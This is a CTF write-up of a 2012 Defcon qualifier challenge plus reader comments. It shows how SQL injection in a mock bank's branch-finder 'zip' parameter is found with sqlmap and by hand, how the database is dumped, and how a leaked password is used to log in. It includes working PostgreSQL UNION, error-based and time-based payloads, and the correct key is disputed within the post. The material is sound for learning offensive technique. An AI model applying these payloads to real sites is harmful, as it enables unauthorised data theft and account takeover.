Defcon 20 CTF Prequals 2012 – Grab Bag 400 Writeup

In the Grab Bag 400 challenge of Defcon 20 CTF Prequals 2012 we had the following mission: “What is Jeff Moss’ checking account balance?“, and we were provided with a user and a password:

  • User: blacksheep
  • Password: luvMeSomeSheep

So we were presented with the following fake bank website:

I started by looking for SQL injection at the “Find a BoaBank location near you” page that you can see at the lower right of the screenshot above, which looked like this:

That page has a parameter named “zip“, which is vulnerable to SQL injection. If we put a single quote in it then we get:

Okey, let’s do some information gathering with sqlmap. I had problems trying to make sqlmap authenticate against the site using HTTP Basic Authentication using the –auth-type and –auth-cred parameters, so I decided to use a sqlmap configuration file, in which I added the following line to the “headers” section, in order to make it authenticate against the website using the provided credentials blacksheep:luvMeSomeSheep:

Authorization: Basic YmxhY2tzaGVlcDpsdXZNZVNvbWVTaGVlcA==

Then I run sqlmap against the vulnerable page:

francisco@sherminator:~/sqlmap$ python sqlmap.py -c sqlmap.conf

When sqlmap ends its job, we get the following information:

sqlmap identified the following injection points with a total of 31 HTTP(s) requests:
---
Place: GET
Parameter: zip
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: zip=-1 AND 5679=CAST(CHR(58)||CHR(109)||CHR(113)||CHR(120)||CHR(58)||(SELECT (CASE WHEN (5679=5679) THEN 1 ELSE 0 END))::text||CHR(58)||CHR(121)||CHR(103)||CHR(100)||CHR(58) AS NUMERIC)

Type: UNION query
Title: Generic UNION query (NULL) - 1 to 10 columns
Payload: zip=-1 UNION ALL SELECT NULL, NULL, NULL, CHR(58)||CHR(109)||CHR(113)||CHR(120)||CHR(58)||COALESCE(CAST(CHR(74)||CHR(80)||CHR(120)||CHR(122)||CHR(100)||CHR(71)||CHR(87)||CHR(111)||CHR(75)||CHR(69) AS CHARACTER(10000)),CHR(32))||CHR(58)||CHR(121)||CHR(103)||CHR(100)||CHR(58), NULL, NULL--

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: zip=-1; SELECT PG_SLEEP(5);--

Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: zip=-1 AND 760=(SELECT 760 FROM PG_SLEEP(5))
---

[14:18:45] [INFO] the back-end DBMS is PostgreSQL

web application technology: JSP
back-end DBMS: PostgreSQL

Having in mind that the target runs PostgreSQL, let’s do some manual information gathering, with the help of this PostreSQL injection cheatseet.

* Determine the number of columns on the table. Turns out that it’s six:


http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 or 1=1 order by 6--

* Obtain username and PostgreSQL version:


http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT user,version(), null, null, null, null--
=>
Branch     Street     City     State     Zip     Phone
boa_client     PostgreSQL 8.4.11 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Debian 4.4.5-8) 4.4.5, 32-bit     null     null     0     null

* Obtain the list of databases:


http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT datname,null,null,null,null,null FROM pg_database--
=>
Branch     Street     City     State     Zip     Phone
template1     null     null     null     0     null
template0     null     null     null     0     null
postgres     null     null     null     0     null
boa_bank     null     null     null     0     null

* Obtain the name of the current database:

http://140.197.217.85:8080/boa_bank/find_branch.jsp?zip=-1 union all SELECT current_database(),null,null,null,null,null --
=>
Branch         Street     City     State     Zip     Phone
boa_bank     null     null     null     0         null

That’s enough. Let’s dump the entire boa_bank database:

francisco@sherminator:~/sqlmap$ python sqlmap.py -c sqlmap.conf --dump-all

sqlmap generates a .csv file for each table in the database. (It’s possible to dump the full database to a sqlite database by using the –replicate parameter):

So once we have all the .csv files, let’s open account.csv with LibreOffice. If you remember, the challenge was “What is Jeff Moss’ checking account balance?“. So we look for Jeff Moss in the file, but there’s no costumer with that name. However, we know that Jeff Moss is the founder of BlackHat and Defcon, and that he is better known as The Dark Tangent. This way we can find his account at row 765:

dtangent@defcon.org    |    Dark    |    203    |    Tangent    |    erl)<qZsxZ    |    dtangent

Then I grabbed his customer number (203) and looked for accounts that belong to that customer number in account.csv, and got this:

account            balance        id        owner    type
452871-4345        0.00        406        203        checking
108874-7395        0.00        405        203        savings

So Dark Tangent has two accounts in this bank. We need to get the balance on the checking one, so I took the account number 452871-4345 and selected all the transactions in the transactions.csv file that were performed on that account. Then I added the amounts of the transactions performed against that account, and the result was 0.0, but that was not the right flag.

So I went back to the account.csv file. Previously I’ve understimated the password field, because I believed that it was stored with some kind of encryption. But now I decided to give it a try at the login page of the bank:


username: dtangent

password: erl)<qZsxZ

And we successfully log into the dtangent account! We can see the transaction information of his two accounts:

Scroll down till the end of the checking account, and there we have the key (highlighted in the screenshot) at the end of the “Balance” column:

 

So the key for this challenge was: -3160.86

 

UPDATE: Thanks to all the people who commented on this post and realized that I made a mistake when posting the solution. Although I submitted the right solution and got the 400 points, it seems like my mind played a trick on me some hours later when I went back to the website in order to get some screenshots for this post, and I wrongly thought that the transactions were in reverse order (i.e last transaction at the bottom) and that the final account balance (and the key) was -3160.86. The final account balance was at the top of the transactions for the checking account, and it was 0.00, which was also the key for this challenge.

UPDATE 2: Now I got a new comment from yappare saying that -3160.86 also worked for him.

9 thoughts on “Defcon 20 CTF Prequals 2012 – Grab Bag 400 Writeup

  1. I did this one with manual SQL injection…I’ve gotta admit, I tried SQL map once, and then the server went down.

    In zip code box:

    Query1: 11111 union select table_name,table_name,table_name,table_name,1,table_name from INFORMATION_SCHEMA.TABLES

    Query2: 11111 union SELECT column_name,data_type,column_name,column_name,1,column_name FROM INFORMATION_SCHEMA.COLUMNS where table_name=’account’

    Query3:11111 union select cast(balance as varchar),user,user,user,id,account from account;

    ALL users had a balance of 0.00

    • Yep, written in the last hour of the CTF, but published after it finished. So no unfair act, since nobody but me could see this post until the CTF finished.

  2. Ehm, what? The key for this challenge was 0..00 since account balance is 0.00 after the last operation.

  3. Crazy thing, 3 comments saying that the balance was 0.00. As I said in the writeup, I tried with 0.0 (maybe I also tried with 0.00), but IIRC, the last value I entered that I got accepted was -3160.86, and I received the 400 points.

    So what happened? I’m confused right now!

  4. Ok guys, so now I’m deeply thinking that I screwed it when writing the blogpost.
    I took the screenshots some hours after resolving the challenge in order to prepare the write up; so then I probably got confused and I thought that the transactions on the accounts where in reverse order (i.e. last transaction at the bottom).
    Thank you all for pointing out the mistake, I’ll update the post right now!

  5. hi there fdfalcon, i dont think you are screwed, I also did submitted -3160.86 as the answer and its was correct. Tried to submit 0,null,0.0,0.00,zero,$0,$0.0,$0.00,none nothing works.so I tried with this negative value and its work 🙂 maybe something going wrong with the server at that time :/

Leave a reply to fdfalcon Cancel reply